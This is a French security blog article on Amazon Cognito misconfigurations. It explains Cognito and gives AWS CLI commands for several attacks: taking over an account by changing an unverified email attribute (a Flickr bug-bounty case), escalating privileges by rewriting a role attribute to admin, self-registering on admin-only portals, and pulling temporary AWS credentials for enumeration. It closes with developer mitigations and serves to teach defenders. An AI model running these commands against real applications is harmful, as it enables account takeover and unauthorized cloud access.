écrit par M ohamed Lakhdar Metidji

Ces dernières années, Amazon Web Services (AWS) est devenu un choix populaire pour les entreprises qui cherchent à héberger leurs applications Web dans le cloud. L'un des services AWS les plus utilisés est Amazon Cognito, un service d'authentification et de gestion des identités des utilisateurs. Cependant, une instance Amazon Cognito mal configurée peut exposer des données utilisateur sensibles, ce qui peut entraîner des violations de données et d'autres risques de sécurité.

Tout d'abord

Qu'est-ce qu'Amazon Cognito ?

Amazon Cognito est un service entièrement géré d'AWS qui fournit l'authentification, l'autorisation et la gestion des utilisateurs pour les applications Web et mobiles. Il permet aux développeurs d'ajouter facilement l'inscription, la connexion et le contrôle d'accès des utilisateurs à leurs applications, ainsi que de s'intégrer à des fournisseurs d'identité tiers tels que Facebook, Google et Amazon. Amazon Cognito prend également en charge l'authentification multifacteur et la synchronisation des données utilisateur sur tous les appareils.

Comment ça marche?

Amazon Cognito se compose de deux composants principaux :

1. 1. Groupes d'utilisateurs : ce composant fournit des fonctionnalités d'inscription, de connexion et d'authentification des utilisateurs pour les applications Web et mobiles. Les groupes d'utilisateurs vous permettent de créer et de gérer un annuaire d'utilisateurs, de personnaliser le processus d'authentification et d'intégrer des fournisseurs d'identité tiers.

Ce JWT est signé à l'aide de l' algorithme RS256 . Cet algorithme est composé d'une clé privée utilisée pour signer la charge utile et d'une clé publique utilisée pour vérifier la validité de la charge utile.

1. 2. Groupes d'identités : ce composant vous permet d'accorder un accès temporaire et limité à vos ressources AWS aux utilisateurs qui se sont authentifiés via des groupes d'utilisateurs, des fournisseurs d'identité sociale ou d'autres fournisseurs d'identité tiers. Les groupes d'identités vous permettent de contrôler l'accès à vos ressources en fonction des identités des utilisateurs et de fournir un accès transparent et sécurisé aux services AWS pour les utilisateurs authentifiés.

Qu'est-ce qu'une erreur de configuration dans Amazon Cognito ?

Les erreurs de configuration dans Amazon Cognito font référence à des erreurs ou à des oublis commis lors de la configuration du service, ce qui peut entraîner des failles de sécurité. Ces erreurs de configuration peuvent permettre un accès non autorisé aux comptes d'utilisateurs ou aux données sensibles, compromettre la confidentialité ou l'intégrité des données et nuire à la réputation de l'organisation. Des exemples de mauvaises configurations dans Amazon Cognito incluent des contrôles d'accès inadéquats, un manque d'autorisation, des autorisations de données utilisateur mal configurées, un manque d'authentification multifacteur… etc.

Dans cet article, je vais écrire un exemple d'erreurs de configuration courantes d'Amazon Cognito :

Mauvaise configuration pour la prise de contrôle de compte sans clic :

Mise à jour de l'attribut e-mail avant la vérification

COMMENT ?

Flickr utilise Amazon Cognito pour implémenter sa fonctionnalité de connexion.

Le flux est démarré sur identity.flickr.com. Via JavaScript, les informations d'identification de l'utilisateur final sont envoyées à cognito-idp.us-east-1.amazonaws.com, qui répond avec des jetons. Enfin, ces jetons sont transmis à www.flickr.com.

La connexion Amazon Cognito implémente une variante légèrement modifiée d' OpenID Connect. Si vous êtes familier avec ce protocole d'authentification unique, vous reconnaîtrez l'Auth. Demande et Auth. Réponse:

####

Hôte POST / HTTP/2
: cognito-idp.us-east-1.amazonaws.com
[…]
{
"AuthFlow":"USER_PASSWORD_AUTH",
"ClientId":"3ck15************ **",
"AuthParameters":{
"USERNAME":" attaquant @flickr.com ",
"PASSWORD":"[REDACTED]",
"DEVICE_KEY":"us-east-1_070[…]"
},
"ClientMetadata" :
{
}
}

####

Si les informations d'identification fournies sont valides, Cognito répond avec des jetons :

####

HTTP/2 200 OK
[…]
{
"AuthenticationResult":
{
"AccessToken":"[SUPPRIMÉ]",
"ExpiresIn":3600,
"IdToken":"[SUPPRIMÉ]",
"RefreshToken":"[SUPPRIMÉ]",
"TokenType":"Bearer"
},
"ChallengeParameters":
{
}
}

####

Flickr utilise un groupe d'utilisateurs pour organiser ses utilisateurs. En utilisant le access_token avec l' outil AWS CLI , nous pouvons tester quelles actions sont dans la portée de notre jeton.
À l'aide de l'API, il est possible de modifier certains des attributs de l'utilisateur, y compris l'adresse e-mail liée :

via cette commande :

$ aws cognito-idp update-user-attributes — region us-east-1 — access-token eyJraW****** — user-attributes ' Name=email,Value= victim-email @email.com

Pour terminer la prise de contrôle du compte, le chercheur se connecte à l'aide de l'adresse e-mail malveillante et du mot de passe de l'attaquant .

Rapport complet : https://hackerone.com/reports/1342088

AWS a introduit une nouvelle configuration de sécurité pour atténuer ce problème, donc si vous avez explicitement activé l'option Conserver la valeur d'attribut d'origine lorsqu'une mise à jour est en attente, l'attribut d'e-mail ne sera pas mis à jour avec la nouvelle adresse e-mail tant qu'il n'aura pas été vérifié.

Il s'agit d'une nouvelle configuration de sécurité qui n'a été introduite qu'après juin 2022, ce qui signifie que de nombreuses applications peuvent encore être mal configurées

Mauvaise configuration pour escalader les privilèges :

Élévation de privilèges via des attributs utilisateur inscriptibles :

Dans le contexte d'AWS Cognito, une élévation des privilèges via des attributs utilisateur inscriptibles peut se produire si un utilisateur est en mesure de modifier ses propres attributs d'une manière qui lui accorde des autorisations supplémentaires au-delà de ce qu'il est autorisé à avoir.

COMMENT?

Par exemple, un administrateur invite un utilisateur et attribue son rôle de lecteur, puis envoie l'invitation à son e-mail, que se passe-t-il si l'utilisateur est un attaquant et change son rôle en administrateur

en suivant les mêmes étapes que l'ancien exemple 'Flickr', en utilisant le access_token avec l' outil AWS CLI , nous pouvons tester quelles actions sont dans la portée de notre jeton.
En utilisant l'API, on peut modifier certains des attributs de l'utilisateur — y compris les rôles.
Disons que les métadonnées de l'utilisateur ressemblent à ceci :

####

{
"Nom d'utilisateur": "e2[…]",
"AttributsUtilisateur": [
{
"Nom": "sub",
"Valeur": "e28[…]"
},
{
"Nom": "rôle",
"Valeur" : "reader"
},
{
"Name": "email_verified",
"Value": "true"
),
{
"Name": "email",
"Value": " [email protected] "
}
]
}

####

L'utilisateur peut changer son rôle de lecteur à administrateur via cette commande à l'aide de l'outil AWS CLI :

$ aws cognito-idp update-user-attributes — region us-east-1 — access-token eyJraW****** — user-attributes ' Name=role,Value= admin

une fois que vous vérifiez à nouveau en utilisant cette simple action GetUser via cette commande :

$ aws cognito-idp get-user — région us-east-1 — jeton d'accès eyJr********

vos métadonnées ressembleront à ceci :

####

{
"Nom d'utilisateur": "e2[…]",
"AttributsUtilisateur": [
{
"Nom": "sub",
"Valeur": "e28[…]"
},
{
"Nom": "rôle",
"Valeur" : "admin"
},
{
"Nom": "email_verified",
"Valeur": "true"
),
{
"Nom": "email",
"Valeur": " [email protected] "
}
]
}

####

Contournement de l'authentification en raison de l'activation de l'action de l'API d'inscription :

Les applications qui n'offrent pas l'inscription des utilisateurs et ne prennent en charge que la mise à disposition administrative des comptes pourraient être vulnérables si elles ne désactivent pas correctement l'API d'inscription peuvent être exposées au risque de création de compte non autorisée par des attaquants. Cela peut être particulièrement dangereux pour les portails de connexion administrateur utilisant AWS Cognito, car les attaquants peuvent contourner l'authentification et accéder à des informations sensibles ou effectuer des actions non autorisées.

COMMENT?

Cela inclut les portails de connexion administrateur qui implémentent AWS cognito permettant ainsi le contournement de l'authentification.

dans cet exemple, il n'y a pas d'inscription pour créer un compte car seuls les administrateurs qui peuvent se connecter

Lors de la création d'un nouveau groupe d'utilisateurs, l'auto-inscription peut être activée par défaut, permettant aux utilisateurs de créer eux-mêmes un compte.

l'attaquant n'a besoin que de l'ID client et de la région pour tester l'auto-enregistrement.

L'attaquant peut s'enregistrer via cette commande à l'aide de l'outil AWS CLI :

$ aws cognito-idp sign-up — client-id <client-id> — username <email-address> — password <password> — region <region>

une inscription réussie ressemble à ceci :

###

{
"Liste des détails de la livraison du code":[

{
"Destination":"m***@w***",
"DeliveryMedium":"EMAIL",
"AttributeName":"email"
}
]
}

###

En cas d'auto-inscription réussie, un code de confirmation à 6 chiffres sera envoyé à l'adresse e-mail de l'attaquant.

l'attaquant peut confirmer le compte via cette commande :

$ aws cognito-idp confirm-sign-up — client-id <client-id> — username <email-address> — confirmation-code <confirmation-code> — region <region>

Récupération des informations d'identification AWS temporaires à l'aide d'un utilisateur authentifié :

La récupération d'informations d'identification AWS temporaires à l'aide d'un utilisateur authentifié implique l'utilisation d'AWS Security Token Service (STS) pour générer des informations d'identification temporaires pour un rôle IAM avec les autorisations nécessaires pour accéder aux ressources AWS. Des mesures de sécurité appropriées doivent être mises en œuvre pour garantir que l'utilisateur dispose des autorisations nécessaires, et des contrôles d'accès et des journaux d'audit doivent être en place pour surveiller et suivre l'accès aux ressources AWS à l'aide des informations d'identification temporaires.

Pour générer les informations d'identification AWS, nous devons trouver l'ID du groupe d'identités qui est généralement codé en dur dans le code source, dans un fichier JS groupé ou dans une réponse HTTP.

● ID client

● ID du groupe d'utilisateurs

● Région

Par exemple :

une fois que l'attaquant a accès à ces informations d'identification

Comment peut-il les exploiter ?

Un attaquant peut utiliser l'ID d'identité précédent pour générer des informations d'identification AWS. Utilisez AWS Cli comme suit

$ aws cognito-identity get-credentials-for-identity — identity-id <identity-id> — region <region>

les métadonnées ressemblent à

###

{
"IdentityId": "us-west-2:*********",
"Credentials": [
{
"AccessKeyId": "******",
"SecretKey": "*** ******",
"SessionToken": "********"
}
]
}

###

Désormais, l'attaquant peut énumérer les autorisations associées à ces informations d'identification à l'aide d'un outil tel que :

Enumerate-iam :https://github.com/andresriancho/enumerate-iam

Suite Scout :https://github.com/nccgroup/ScoutSuite

$ ./enumerate-iam.py — clé d'accès <AccessKeyID> — clé secrète <SecretKey> — jeton de session <SessionToken>

Conclusion

Voici quelques-uns des problèmes de configuration courants et sérieux d'Amazon Cognito qui ont été identifiés et peuvent être résolus par diverses solutions.

Consignes pour les développeurs :

1. Assurez-vous de retirer toutes les informations sensibles, telles que l'ID du groupe d'identités Cognito, des réponses envoyées par le serveur.
2. Si ce n'est pas nécessaire, désactivez la fonctionnalité d'inscription sur AWS Cognito.
3. Si cela ne sert à rien, désactivez le rôle non authentifié.
4. Vérifiez la stratégie IAM liée aux rôles authentifiés et non authentifiés pour vous assurer que seul l'accès minimum nécessaire est accordé.
5. Évaluez tous les attributs de l'utilisateur et supprimez l'autorisation d'écriture si elle n'est pas requise.
6. Gardez à l'esprit que la valeur de l'attribut e-mail peut contenir une adresse e-mail qui n'a pas été vérifiée